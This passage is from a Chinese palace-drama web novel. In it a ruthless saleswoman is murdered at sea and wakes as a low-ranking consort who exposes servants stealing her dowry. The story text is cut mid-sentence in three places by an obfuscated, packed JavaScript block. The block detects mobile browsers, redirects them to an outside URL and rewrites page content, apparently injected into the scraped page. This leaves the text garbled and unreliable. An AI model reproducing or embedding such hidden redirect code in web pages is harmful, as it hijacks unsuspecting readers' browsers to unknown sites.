《小答应的青云路》 1. 穿越 第一章 “嗡——嗡——” 手机的震动声打破了夏日的寂静,也打断了沈知微度假的好心情。 沈知微倚在游艇二层的沙发上,看了眼来电显示上助理的名字,随手接起了电话。 “沈总,蒋总好像发现了我们抢他的案子,他刚才给我打电话,说……说要跟您没完。” 助理的声音近乎颤抖。沈知微听完,嘴角勾起一抹戏谑。 “什么叫抢他的案子,客户脑门上又没有字,写着一定归他蒋仕诚所有。他自己没本事,留不住客户,怪我们做什么。” “商场上机会就那么多,你不抢我不抢,难不成让整个团队的人去喝西北风?不用理他,做你该做的事,出了事我兜着。” 助理连连应“是”,又问了几句后续收尾时的细节,便结束了这通电话。 沈知微换了个舒服的姿势,端起手边的红酒,漫不经心地看向远方的天际线。 她丝毫不怕蒋仕诚的威胁,反正这也不是第一次抢他的案子了。 没办法,市场就这么大,她入行又晚,不争不抢,怎么能出头。 想当年她大学毕业,因为是文科专业,即使顶着名校光环也找不到高薪的工作。 可家里还有生病的父亲,年迈的母亲,和等着交学费的妹妹需要养。 最后没办法,只能去做销售的工作。 刚开始的时候,沈知微勤奋又努力,一个个电话打出去,一栋栋楼去陌拜,可大客户早就被公司里的老人瓜分完了,她只能捡些别人看不上的小客户做。 可这样也不行。按照公司的规定,入职时间越长,销售要完成的业绩也要等比例递增。最初沈知微还能靠着小客户勉强达标,可到后来,等待她完成的业绩向滚雪球一样越积越多,沈知微如同一个“负债累累”的人在苟延残喘地生存。 偏偏这个时候,当时还是销售总监的蒋仕诚来招惹她。 一会儿说要给她介绍大客户,一会儿说做销售思想要打开,一会儿又说她业绩没完成要优化她。 一整套胡萝卜加大棒的威逼利诱下,沈知微听懂了他的意思。翻来覆去想了一夜后,她顿悟了。 如果说曾经她的正直善良、与人为善等一切美好品德促使她宁愿苦了自己、也不愿去抢别人客户的话,那么现在,在蒋仕诚这种不要脸的行径下,她心理包袱和道德防线全都化为乌有了。 她用了七年的时间,抢走了蒋仕诚90%的客户。又通过这些大客户的人脉,不断拓展自己的版图。 也是这七年,在和蒋仕诚的厮杀下,沈知微从基层的销售经理做到大区总,而蒋仕诚不知走了什么狗屎运,在沈知微的夹击下苟活不说,还趁着总部新领导上任的东风,被提拔为江北市的分总。 不过没关系,到底是在沈知微的手下。对于沈知微来说,将蒋仕诚排挤出公司这件事,已经列在了她今年的工作日程上。 想到这里,沈知微的心情好了许多。 何必让那种烂人破坏自己度假的好心情呢。 她从沙发上站起身,准备去茶吧再取一瓶红酒,下午就待在甲板上,吹吹海风,晒晒日光浴,感受私人游艇在广袤的大海上航行,看沧海茫茫天地广阔…… 可下到一层时,却发现驾驶舱内空无一人,随身陪侍也不见了踪影。 沈知微心中一惊,打算返回拿手机时,下一秒被人从身后勒住脖颈,含有□□的手帕覆在她的口鼻上,不消片刻便晕了过去。 “扑通——” 一个黑色的牛津布袋被扔进船尾翻起的白色浪花中,湮灭在波涛翻滚的海面。 * “嘀嗒——嘀嗒——” 夏日的暴雨来的快去得也快,雨水顺着屋顶的黄瓦滑落,有节奏地滴在地上的水洼里。 穿堂风裹着凉意吹进屋内,在不大的寝殿内打了个旋儿,床榻上的沈知微不禁打了个冷颤。 沈知微缓缓睁开眼睛,下一秒便皱起了眉,满头问号地打量着眼前的景象。 她正躺在一张红木拔步床上,盖着绸缎锦被,身上穿的似乎也是古代人的寝衣。榻下有一个侍女模样打扮的女子守候在她身边。 女子见她醒了,抬手抹去脸颊两侧的泪痕,激动地说道:“小主……小主你终于醒了。我还以为……以为你已经……” 话还未说完,委屈地哭了起来。 “隔壁也太欺负人了,都是主子,凭什么她说罚便罚啊。差点害惨了小主!” 见她哭的这般伤心,沈知微脑袋里的问号又多了几个。 只得闭上眼睛,仔细回想着前后发生的所有事。 原主的记忆涌入到她的脑海里。 沈知微这才明白,她穿越了。 穿越到大楚王朝一个同名同姓的女子身上,成为了一个位分卑下的……小答应。 原主沈答应是清水县县令之女,家世低微,不得圣宠。 又因为性格善良软弱,在宫中总是遭人欺负。 平日里吃不饱穿不暖,连伺候她的宫人都敢翻她的白眼。 住在闲月宫新月殿的娴贵人又是个不好相与的主儿。仗着家世不俗和伺候过两回皇上,没事总喜欢将住在半月轩的沈答应和住在弦月阁的柔答应拎过去听训。 早请安晚汇报不说,有时还要被叫过去伺候。 这次沈答应之所以出事,正是娴贵人喊沈答应过去伺候时,沈答应因为发烧推脱不去,结果惹恼了娴贵人,被罚在雨中跪了一夜。 沈答应原本就身体不好,这一跪更是寒气侵体,直接就一命呜呼了。 这才换了沈知微来。 …… 沈知微揉了揉眉心,不知道是喜还是忧。 按理说她前世被蒋仕诚加害,葬身大海,本该是死不瞑目的。 可偏偏上天又给了她一次机会,虽说这个机会属实……不算是什么好机会。 不过这世上还没有沈知微解决不了的难题和拿不下的客户, 不就是宫斗嘛,不就是个皇上嘛。 既然穿越到这幅躯体里,她一定不辱没它,一定要拿下这场宫斗大赛的冠军,这才不负两世英名。 思及此,沈知微看向身侧的侍女,在脑海中搜索中她的名字。开口时沙哑的嗓音把她自己都吓了一跳。 “云雁,别哭了,我这不是好好的嘛。” 云雁闻言,哭的更大声了。 “小主!您没事真是太好了。还有没有哪里不舒服?奴婢去传太医?或者小主肚子饿不饿,要不要吃点东西?” 云雁手忙脚乱,脸上又是委屈又是欣喜,自顾自地说着。 沈知微微不可察地叹了一口气。在这深宫中,真正关心沈答应的人只有两个,云雁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374549|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算一个,孔嬷嬷算一个,她们都是原主从老家带过来的陪嫁,只有她们在乎沈答应的死活。 对于这样的忠仆,沈知微一向是宽容的。 “先扶我起来吧。”沈知微指点道,“躺了这些天,我也饿了,可有从御膳房里取些饭菜来?” “有,有,”云雁难掩激动,“一直给小主温着呢,我现在去拿。” 云雁疾步走了出去。沈知微打量着屋内的陈设,心中默默盘算着。 这屋内靠南一侧,有一张床榻,一个木柜,一张梳妆台;靠北有一张八仙桌,几个圆凳,用屏风隔出了一块用餐区域;正中的地方有两张靠背椅和一张方桌。全是生活必需用品,除此之外,再无其他繁复的陈设,比如花瓶字画什么的。 若是再细看,她身上虽然盖着丝绸锦被,可一看布料的磨损程度,便知是至少两三年前的旧款,里面的棉絮已经成块变硬,覆在身上依然会手脚冰凉。再说那梳妆台,上面虽有精雕细琢的木雕花纹,可台面上却只有一些不值钱的脂粉,值钱的金钗或珠宝一样都没有见到。 沈知微心下疑虑,不应该呀…… 这宫中的答应再不受宠,好歹也是主子,日子怎么会过得这般清贫呢。 还未想出个一二,云雁拎着个食盒进来。 沈知微看到云雁气恼的脸色,心知有事发生。她起身坐在床围处,不疾不徐: “怎么了,谁惹你不高兴了?” 云雁红肿着眼睛,似是受了极大的委屈,拎着食盒便走到沈知微面前,将盒盖打开给沈知微看。 “小主你看,这餐食我从御膳房取回来时,明明有一道花胶参鸡汤,是专门求来给小主补身子用的。本来在火炉上煨的好好的,等小主醒来后喝。谁知我刚刚去取时,正好撞见值守太监王兴德偷喝小主的参鸡汤!我一时气急跟他吵了起来,他竟然倒打一耙说我小题大做、不就是一碗鸡汤吗……他还说小主不一定能醒来呢,放着也是浪费……这个混账呜呜……” 沈知微抿着唇,看向云雁手中的食盒。 只见那食盒里仅剩两小碟绿油油的菜,和小半碗白粥,除此之外再无其它。 沈知微皱起眉,虽然不至于为一碗鸡汤生气,可那太监的态度实在是令人恼火。 这有把她这个主子放在眼里吗? 还未来得及发作,门外传来孔嬷嬷和太监的争吵声。 “狗娘养的杂种,趁着小主病了,就动起了这些歪心思,连小主的首饰都敢偷!现下人赃并获,还不快跟我去见小主!” 孔嬷嬷言辞急厉,那被骂的小太监也是个硬茬,竟和孔嬷嬷抢白起来。 “你个老东西,凭什么说首饰是我偷的,这是别宫娘娘赏的不行吗!这宫里的主子又不只沈答应一个,别人家主子也不像咱这位主子一样,两袖空空什么赏赐都不给,还看手下人有点什么好东西就想夺去,传出去平白让人笑话!” 孔嬷嬷气极,连声音都颤抖了起来。 “你……你……这个金钗,可是小主从家乡带来的嫁妆,小主的嫁妆可都是有数的,你也要红口白牙拐了去不成!嘴里还不干不净的,竟敢大言不惭地攀诬小主,看我怎么教训你……” …… 外面的争吵声愈演愈烈,沈知微听得脸色苍白,一时气血上涌。 她宫里的奴才,竟然已经放肆到这种地步了?! 2. 失窃(修) 殿内寂静若死灰,唯有微风不时卷着落叶扫入殿中。 云雁原本就在气恼,现下听到门口的谩骂声,更是气得面红耳赤,扑簌簌地掉眼泪。 “这群目无尊卑的王八羔子,就是看着小主脾气好,才敢这么放肆。” “小主不过是病了一场,他们就敢这般行径,这以后可该怎么办呀……呜呜……” 云雁跪在地上,不曾注意到沈知微益发阴沉的脸色,自顾自地哭着。 沈知微听得头疼。一闭上眼,往日恶奴欺主的画面又涌现在脑海中。 原主沈答应,其实并不是一开始就过得这般清贫的。 只不过刚入宫时,本想竖立个温婉亲和的形象,谁知被这些恶奴理解为好说话(好欺负),平日里做些跑腿、洒扫的活都敢舔着脸要赏赐。沈答应抹不开面儿说不给,可也经不住一直给下去;再加上平日里和其他嫔妃人情往来的开销,很快带来的银子就见了底。 没了好处,这些恶奴就露出了獠牙。跑腿去御膳房取下膳食都能花上两个时辰,平日里干活喊不来人、连日常的洒扫也是糊弄一下了事。一旦原主提出质疑,这些恶奴便敢当面对原主抱怨讽刺、翻白眼。以至于原主最后命悬一线时,只有云雁和孔嬷嬷一个奔走请太医,一个守在床前照顾。 沈知微默默叹了口气。从她多年担任管理者的经验来看,原主犯了一个致命错误。她以为把自己的姿态放低、尽可能展现亲和力,甚至于放宽要求多发银子,就能获得下属的认可与支持。这种想法实在是,太天真了。新上任的管理者如果一开始没有立好威严和规矩,只会被下属不断试探底线,管理者管不住,团队就会变成一团散沙。最终业绩完不成,管理者的职位也会被摘掉。人性如此,放在古代也一样。 沈答应一步错步步错,演变成了如今这个局面。 不过……谁让沈知微穿过来了呢。正色立威,杀伐果断,一向是她的拿手事。 沈知微收敛了神情,眸底的阴影加深了一层。 再开口时,竟有一种不容置疑的威严。 “哭有什么用,去取《宫典》来。” 按照原主的记忆,本朝的宫规是有成文典籍的,专门记录在一个小册子上,作为平日里奖善惩恶的依据。恰巧沈答应这里就有一本,只不过不知道放在哪个角落吃灰去了。 云雁本在俯首痛哭,听到这冷静理智、完全迥异于以往的声音,惊艳地抬起头,红肿的眼睛中闪过一丝疑惑。 “小主的意思是?” 沈知微神色一凛,“以往我不说,是顾念着多年来的主仆情分,更是想给那些以下犯上、偷盗宫中财物的宫人一个机会。不曾想一时放纵,反而养大了这些贼子的野心。也好,这次便一起收拾了,也好保全我半月轩的名声。” “将宫人们都叫到院子里,我亲自审。” 云雁先是一愣,待想明白后瞬间欣喜万分,匆匆应了声“是”,头也不回地跑出去按照沈知微的吩咐行事。 * 雨后方晴,庭院前的地砖上还是湿漉漉的。与以往门可罗雀不同,此时半月轩门前整整齐齐地跪了六七个宫人。 沈知微换上了一件素锦冰纹梅花衫,搭配宝蓝云纹绫罗裙,又因大病初愈面容苍白,衬得她格外清冷出尘,如同新月清辉。她款款在云雁搬来的太师椅上坐下,淡薄的目光扫过阶下的宫人,音调不疾不徐:“我久病初愈,本不该如此大动干戈。今日叫大家过来,只因殿里丢了东西,想找大家来问一问。” 台下鸦雀无声。宫女太监们各个都像鹌鹑似的低着头,看起来听话温顺得很。只有沈知微知道,这平静之下隐藏着怎样的波云诡谲。 沈知微向后一倚,故作放松的姿态,但目光却落在洒扫太监李忠祥手中的那支金钗上,开口时音调不自觉上扬,“李公公手里的这只金钗看着眼熟,倒像是我先前丢的那支。” 此话一出,李忠祥吓得冷汗直冒。 他原先看着沈知微病入膏肓,本以为咽气也就是这两天的事。谁曾想姓沈的竟然醒了!早不醒晚不醒,偏偏在他跟孔嬷嬷争执的时候醒!偷盗宫中财物可是大罪,这他哪敢承认,只能赌一把沈知微刚醒不知内情,说不定就让他给蒙混过去了呢。 李忠祥赔着笑,下意识地把金钗往袖中藏了藏。 “小主这是哪的话。小主金尊玉贵,用的金银首饰自然是顶好的。奴才手里的这个是用自己俸禄买的,想要托人送出宫去给老娘表孝心,不值几个钱,怎会是小主的呢。” 沈知微早知他不会承认,倒也不着急,似是话家常般:“想不到公公竟和我的眼光是一样的。既然公公说是买的,那是在何处买的?花了几两银子?” 李忠祥脸色一白,被戳破谎言的羞耻感涌上心头,似有一股火从脖颈往脸颊上烧,语气里透着愤愤,“这金钗买的早,奴才不记得了。小主这话是什么意思,难不成怀疑奴才偷了小主的金钗?” 李忠祥气哼哼的,“奴才自问一直以来都尽心尽力伺候闲月宫的各位小主,问心无愧,从未偷拿过主子们的东西。小主若非说是奴才偷拿的,总得有证据证明才是,总不能上下嘴唇一碰,就认定是奴才的错,平白无故寒了忠仆的心。” “再说了,宫里长得像的首饰多了,首饰上又没有刻名字,小主好歹是县令之女,天子妃嫔,总不能看见一个相似的,就非得把奴才的金钗认成自己的金钗吧!” 一番叫苦又叫屈的话说完,李忠祥连背都挺直了些。 沈知微看他言之凿凿,心道果真紫禁城内不养闲人,连个太监都有一张巧舌如簧的利嘴,三言两语就能将黑说成白的。今日她若是拿不出证据,丢了脸不说,岂非还要担一个苛待忠仆、跟奴才抢物的污名? 目光扫过台下,宫人们人心浮动,你看看我我看看你,暗中观察着沈知微的反应,想看她该如何收场。 孔嬷嬷见状,急赤白脸的直起身,想要驳斥李忠祥。 沈知微使了个眼色,示意她按兵不动。她身体向前倾了倾,好整以暇地审视着李忠祥,嘴角勾起一抹轻笑。 “瞧瞧这话说的,听着像是我冤枉你似的。我问你,你说这金钗是自己攒钱买的,但宫中三等太监月例二两,你入宫不过一年,就算不吃不喝也只能攒够二十四两银子,是如何有钱买价值三十两的金钗的? “……” 李忠祥愣住了。 “我在问你话。”宫中,主子问话不回,是要受罚的。 “是……是……”李忠祥急得眼珠在眼眶中打转,一时回答不上来,但又不敢就这么认了,继续梗着脖子扯谎道:“因为……因为这个金钗是假的!奴才买不起真的,为了哄我娘开心,特意找人仿照真金钗做了个假的。”宫里,奴才不比主子有真金首饰戴,所以私下了用黄铜做些假的戴着玩也是有的,沈知微总不能这事也要管吧。 沈知微“噢”了一声,意味深长地看着他,“假的?那就是用黄铜与其他金属混合,冒充的喽?”以铜合金冒充黄金,是古代一种常见的做假金首饰的方式。 “是!没错!”李忠祥慌忙承认,像是抓到了救命稻草。 “好啊,”沈知微站起身,为他的回答鼓了鼓掌,“所谓‘真金不怕火炼’,如果是假黄金,那它在高温下会变黑或产生其他颜色,而真黄金的性质更加稳定,颜色不会发生变化。孔嬷嬷,去取火棍来。” 李忠祥彻底按耐不住,还未出声就被沈知微抬手压下,“怕什么,既然是假的,烧坏了我赔你。” 一刻钟后,眼瞅着“假金钗”在火烧下依旧金光闪闪,李忠祥快哭出来了,绝望地做最后的挣扎。 “小主,奴才全想起来了。奴才的假钗和小主的真钗相似,奴才给小主收拾屋子的时候拿错了,奴才知错了,求小主再给奴才一次机会吧!” 沈知微笑意微敛,眸色越发深沉,“拿错了?那还真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374550|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧啊。殿中刚丢了东西,你就拿错了,李忠祥,你是把我当傻子糊弄了?且不说你一个前院洒扫太监,为何会为我收拾屋子,就凭你方才大言炎炎蠢态百出,屡次三番试图蒙蔽我,我就可以治你一个欺瞒之罪!我没有耐心跟你耗,还不速速如实招来!” “小主饶命!小主饶命!”李忠祥跪在地上,连磕了几个响头。 沈知微手一伸,示意云雁将《宫典》递过来,翻开其中的一页,将李忠祥涉及罪名一一罗列: “依宫中律例,凡内官监守自盗,偷盗内府财物者,杖五十,交与慎行司严审。” “偷窃内廷物件者,且不知悔改者,加重治罪。于宫门前枷号一月,期满后发往浣衣局为奴,终身不得再入内廷服侍。” “对主上多有不敬,言行悖逆者,施以黔刑,流放三千里。” …… 说完,沈知微将书本“啪”地一合,“你说,我从哪条开始罚你?还是直接将你押去慎行司,交由慎行司来审?” 犯了错的宫人一旦进慎行司,跟半只脚踏进鬼门关没什么区别。为了得到口供和证据,那些审讯手段无所不用其极。最后判决下来,还有接受杖刑、枷号、发配等刑罚,严重的会被判处死刑。 李忠祥吓得瘫坐在地上,待回过神后,屁滚尿流地爬沈知微脚边,不住地磕头哀嚎。 “小主饶命!小主饶命!奴才、奴才是有苦衷的啊。奴才家中有一老娘,因得了咳疾身体不好,郎中说没几天了。奴才是想讨老娘高兴,这才动了邪念,偷了小主的金钗,奴才一时糊涂,求小主饶命啊!” 台下鸦雀无声,其余宫人都面面相觑,心中暗道不好。 李忠祥就这么承认了? 那他们怎么办? 孔嬷嬷和云雁叉着腰看着李忠祥,觉得出了好大一口气,连眼神都明亮了许多。 李忠祥顾不得其他,不住地磕头求饶:“求小主原谅奴才这一次吧!奴才可以以老娘的性命发誓,真的只拿了这一件!求小主饶命啊!奴才愿意为小主做牛做马,报答小主的大恩大德!” 沈知微眼眸微敛,眸色晦暗不明,“你当真只拿了这一件?你知道蒙骗我的下场。” 李忠祥连连点头,颤抖地称“是”。 沈知微轻吐了一口气,眉头微微拧着。她相信李忠祥这回说的是真话,可这数目对不上啊。 她出来前专门看过嫁妆箱子,明明还有其他值钱的物件也遭了窃。而且她殿里最值钱的双耳青瓷花瓶和隐士垂钓图,同样不翼而飞了。 沈知微扫了眼台下几个眼神不安分的宫人,心中有了成算。 沈知微上前几步,垂眸看了眼伏在地上痛哭流涕的李忠祥,声调冷静深沉: “你既说自己可怜,家中又有老母需要照顾,我并非铁石心肠之人,就给你一个将功补过的机会。” 李忠祥身形一顿,瞪大眼睛抬头看向沈知微。他没想到沈知微真的会给他机会! 沈知微道:“出来前我仔细瞧过了,我的私人物件多有失窃掉包的迹象,你既说不是你拿的,那总得助我找到真凶才是。你将功补过,之前诸事方可既往不咎,否则……”她睨了眼李忠祥,“如今殿内遭窃,只有你一个人冒了头,我只能送你去慎行司配合调查了。” “我只给你一次机会,你想好了再回答。” 话音落下,院内寂静无声,所有的目光都落在李忠祥一个人身上。 台下的其余宫人瞪大了眼珠,心道沈知微真是好一招釜底抽薪,三言两语就将李忠祥拉到她那一边!宫人们在心里开骂起沈知微,同时将微弱的希望寄托在李忠祥身上,希望他不要信了沈知微的挑拨,不要出卖他们。 李忠祥心下一噔,看了看沈知微,又看了看其他人。 沉寂了几秒,最终还是下定了决心,后退一步,重重地磕了个响头: “主子宽宏大量,奴才领恩。奴才愿意检举!” 3. 惩治 冷风呼啸,凉意顺着衣衫蔓延,让人不禁打起寒颤。 李忠祥后退了一步,额头重重地磕在殿前的青砖上。那声音乍起,如同一枚石子投入平静湖面,“咚”的一声闷响,在寂静空间中突然炸开,引得人心震荡。 “奴才检举,张嬷嬷偷拿了主子的青玉佩,她儿子在宫外赌坊欠了二百两纹银!” “奴才检举,宫女玉儿偷了主子的羊脂玉壶送给对食!” “奴才检举,王公公偷换了主子伽罗佛珠,拿去孝敬他的干爹内务府胡总管!” 一时石破天惊,阶下抽气声一片,瞬间乱做一团。 胆大的嬷嬷抬手就打,“你放屁!分明是你私自打开了小主的嫁妆箱子,还撺掇我们一起拿,明明是你主使!” “就是,”玉儿也不甘示弱,“是李公公说小主醒不过来了,那些好东西与其便宜了内务府那帮人,不如我们自己收着,主子殁了没人会追究……” “小夏子还偷走了小主的一套鎏金头面,他可是李公公认的干兄弟呢!” “胡说,”小夏子见火烧到自己身上,忙不迭辩驳,“鎏金头面明明是王公公偷走的!” “嘿你个小兔崽子,”王兴德张口就骂,“你为何不说你伙同李忠祥偷换了主子殿中的青花瓷瓶,还是你销的赃!” “那你还仗着是胡总管的亲信,私自将主子的红罗炭换成了价格便宜的烟炭,这才导致小主受寒着凉,不然哪有那么多事儿!” “明明是锦娘将小主的绸缎锦被换了里子,以次充好,才导致小主受凉!” …… 一个又一个的惊天内情被爆出,沈知微如同五雷轰顶,难以置信地听着宫人们互相撕咬。 合着沈答应之前过得那么苦,除了是受娴贵人磋磨外,还有这帮宫人阳奉阴违、吃里扒外的功劳! 看到她快不行了,不请太医医治不说,还十万火急地将她的私产分了! 这哪里是奴才,这分明是一群强盗,简直把沈答应这颗小白菜欺负到家了! 沈知微火气上来,抄起手中的《宫典》往阶下一扔。 “都给我住口!” 她面色冷若寒霜,沉声怒斥道: “一个个目无尊卑、以下犯上,你们眼中可还有宫规法度、可还有天家尊严?你们大可吵嚷的再大声一点,让合宫都听听,你们是如何跋扈欺主的!让荣妃娘娘看看,让皇后娘娘听听,你们是一群多么‘忠心’的‘好奴才’!真到了那一日,看你们项上人头能保住几时!” 一众宫人被沈知微这突如其来的发作吓到,立马收拢起了身体,像个鹌鹑一样缩在原位,阶下众人噤若寒声,不敢再多言一句。 有些胆大的宫人,悄悄地抬头打量着沈知微,又迅速收回视线。 心中难免疑惑:这沈答应一向是脾气最好的,怎么今日突然发作了? 难不成生场病后性情大变? 还是说他们做的太过分,彻底惹恼了沈答应…… 唉,宫人心中暗叹,沈答应之前病的那样重,若是殁了哪能有这些事端,谁能想到她又活过来了呢,真是倒霉透顶! 一时心思各异,可面上却不敢彰显。 沈知微将台下的动作尽收眼底。 大脑飞速运转,该如何处置这群跋扈欺主的宫人。 依她所见,这群宫人的做法跟谋财害命没什么两样,最好全都送到慎刑司受罚去,也好正一正这闲月宫的风气。 可真要细细思量,一时却犯了难。 这些宫人是伺候过她不假,可闲月宫的主子却不止她一个人。像殿前殿后洒扫、值守的宫人,是她、柔答应和娴贵人三人共用的。她的位分不过是一个答应,非闲月宫主位,若是一声不吭就将这些宫人都发落了,东西拿不回来不说,还容易徒生事端,引得同住的柔答应和娴贵人不满。 可若是轻轻揭过,这些宫人如今这般肆意猖狂,日后岂非要踩在她的头上作祟!这是沈知微万万不能接受的。 如今日头西斜,算起来从她审问宫人到现在,已有了大半个时辰。娴贵人下午去找齐嫔说话,想来快回来了;柔答应虽然一直大门紧闭,不理会这边的争端,可也快到派人去取晚膳的时间……若是失窃一事再不解决,被闲月宫的其他主子横插一脚,那她沈知微的里子面子可尽失了! 时间紧急,思来想去,只能用这一个办法。 沈知微定了定心神,脸色依然冷酷,只是语气缓和了不少:“你们都是小选出来的包衣奴才,我以为是最清楚宫中规矩的,可却一个个以下犯上、视宫规如无物!你们说,我该如何罚你们呢?杖责?枷刑?流放?还是杀头?” 沈知微形声俱厉,目光在众人身上一一扫过。 一阵寒风吹过,阶下宫人抖了三抖,终于反应过来沈答应这是要动真格的了,此起彼落地磕头求饶。 “小主饶命,小主饶命……” “小主,奴才家中还有老娘要照顾啊,她还指望我给她送终呢!” “小主,奴婢的儿子是个不成器的,可奴婢才实在不能不管他啊!小主大慈大悲,原谅奴婢这一次吧!” “小主,我只是一时鬼迷心窍,玉壶还在我身上,奴婢愿意还,求小主饶命啊!” “小主,是干爹找我要孝敬,奴才实在是没钱了,奴才不想偷小主的东西呀!” …… 宫人们痛哭流涕地哭诉内情,沈知微语气缓和了些,面露不忍道:“你们各有苦衷,可这世间谁没有苦衷,总不能让别人为你们的苦难蒙受损失。” “只是,”她话音一转,“既然犯了错,便不可不罚。你们自己主动将东西交出来,本宫念你有悔改之意,可从轻发落;物件已经被变卖的,你们自行将银钱补上;若是抵死不认,慎行司一百零八道刑罚,总有能惩治你们的法子。” 天气越发凉了,沈知微拢了拢手,“孔嬷嬷,将库房门打开,放个箱子进去。给他们一个时辰,要还东西的自行去还;一个时辰后拿着单子去清点,若是还有少了的,向内务府报失窃,让内务府着慎行司自行拿人去。我乏了,云雁,扶我进殿吧。” 沈知微说完,头也不回地向殿内走去。 云雁后脚跟上,进殿时将大门干脆利落地一合,将外面的兵荒马乱与内殿隔绝开。 云雁倒了杯茶递给沈知微。“外面站了许久,小主喝杯热茶暖暖身子吧。” 而后试探性地问道:“小主信了他们说的话?” 沈知微“呵”了一声,将茶杯拢在掌心里,“不信。” 她又不是傻瓜。她穿的可是宫斗本,这要是信了,她在这后宫活不过三天。 “那小主为何……”云雁心有不甘:“这回放过他们,他们感念小主还好,若是有那怀恨在心,日后岂非是个隐患……” 沈知微垂下眼睫,茶杯中倒影出她的影子,“我们在宫中生存,不能只顾一时意气,要从长远考虑。我若是当场把人打一顿,直接发配到慎刑司受罚是爽,可这样一来名声受了损,二来东西也拿不回来,未免得不偿失了。” 更何况,这宫中整治人的方法多的是,何必兴师动众让目光都集中在自己身上呢。若真有那心有异端者,让孔嬷嬷暗中了结就是了。 只是这样狠辣的手段,不必让云雁知道,免得误事。 云雁侍奉在一侧,担忧地看着小主。 她总觉得小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“皇上正值壮年,娘娘也不过二十有五的年纪,孩子总归会再有的。娘娘只需保重身体,切不可因一时之事劳心伤神。本就是娘娘的一切,旁人夺不走的。” 苏妙容羽睫轻颤,似是被说动了,又像是不得不接受这既定的事实。端起手边的药碗,将汤药一饮而尽。 “近来宫中可有事端?”宫中诸事虽由荣妃一应处理,可她身为皇后,却不能不管不问。 闻竹悄然松了一口气,将打探来的消息一一回禀:“荣妃娘娘准备三月十五在瑶池开宴,宴请宫中贵人以上位分的妃嫔,还邀请了皇上同乐。原本内务府的胡总管被荣妃以贪腐之名拿下,换上了她一位姓彭的同乡。金陵新进了一批云锦,荣妃先拿给了太后挑选,说是太后选完后再分派到各宫中。礼亲王福晋进宫,拜见完太后本要来安德宫的,却被荣妃的人半道接去她宫中了……” “哼,”苏妙容闻言,眉宇间凌厉了不少,“已经开始拉拢人心了。” “还有一件,”闻竹思索着,“闲月宫的沈答应醒了,听说一醒来就大动干戈,惩治闲月宫中偷盗财物的宫人,有两个还被送去慎刑司了呢。” “沈答应?”苏妙容拧着眉,想了半天才记起宫中有这号人,“娴贵人宫里那个?我记得她一向温吞,被人欺负了都不敢声张,什么时候这么有胆魄了。” “可不是,”闻竹附和道:“沈答应这回猝不及防地发作一次,据说闲月宫上上下下都对她又敬又怕呢,都摸不清她的路数。想来是之前消沉太久,如今振作起来了。” 苏妙容展颜一笑,“振作起来好啊,人在绝境中就会明白,一味忍让是活不下去的。看来是本宫以前小看她了。正所谓金鳞岂是池中物,一遇风云便化龙……” “娘娘这是看好沈答应?” 苏妙容摇了摇头,“有感而发罢了。她是不是金鳞,只能由她自己证明。不过往后可多帮衬着点,万一鱼跃龙门了呢。” 4. 幽兰 第四章 清晨。 半月轩。 孔嬷嬷走进来时,沈知微正坐在桌旁喝药。经过一夜休养,沈知微面色红润了不少。孔嬷嬷稍稍松了口气,趁着沈知微放下药碗的空档,将点验完毕的物品单子呈到她眼前。 “小主,李忠祥等人还算识趣,偷走的物件都悄悄还回来了。还好小主发现的及时,许多物件都还没被送出宫去。” 孔嬷嬷恭维了两句,面上又露过几分难色,犹豫地开口:“只是王兴德和小夏子嘴硬得很,死活不承认偷盗小主的财物。奴婢已按照小主先前吩咐,向内务府报了失窃,将二人连同李忠祥口供一同押送到慎行司了。” 说完,孔嬷嬷垂下手,静候沈知微发落。毕竟李忠祥拿走的可是清单中最值钱的鎏金头面,这套头面未追回来,不知小主是否会怪罪。 沈知微看在眼里,放下手中的茶杯,柔声道:“嬷嬷辛苦了。至于那两个顽徒,既然慎行司专司宫人刑名事务,便交由他们处理,在慎行司受了刑,不愁他们吐不出线索来,嬷嬷宽心便是。” 说完,沈知微昂首看向殿门处的那个木箱,“东西都在里面了?拿近些打开来看看。” 待孔嬷嬷和云雁将箱子搬来,将箱盖打开后,沈知微站起身,目光扫过那箱子中的物品,原本明亮的眼眸瞬间划过一分失落。 首饰、瓷瓶、漆盒、字画、古籍…… 箱子塞的虽满,可值钱的物件太少。 沈知微心中暗自估算了一下每日的开支,心下更是一沉。 答应的月例不到三两,平日里还有宫务开支和人情往来,偶尔赶上宫中办庆典宴会,置办新衣和备礼更是一笔不小的开销。月例入不敷出,自然是要拿存银去填补,可这箱子中所余的物件,数来怕是连一年都撑不过…… 沈知微神色凝重,娥眉蹙成一团。 这样下去迟早会坐吃山空,得寻些生钱的法子才是。 她对孔嬷嬷摆了摆手,“既然清点好了,便收到库房锁起来吧,有需要时我再派你去取。” 孔嬷嬷看着沈知微的眼神从欣喜到失落,心下哪里不知。只道小主命苦,在这宫中没有家世、没有宠爱的妃嫔想要生存,实在是太难。心中默默叹了口气,像是撒气般奋力将这木箱拖下去,免得引起小主的愁绪。 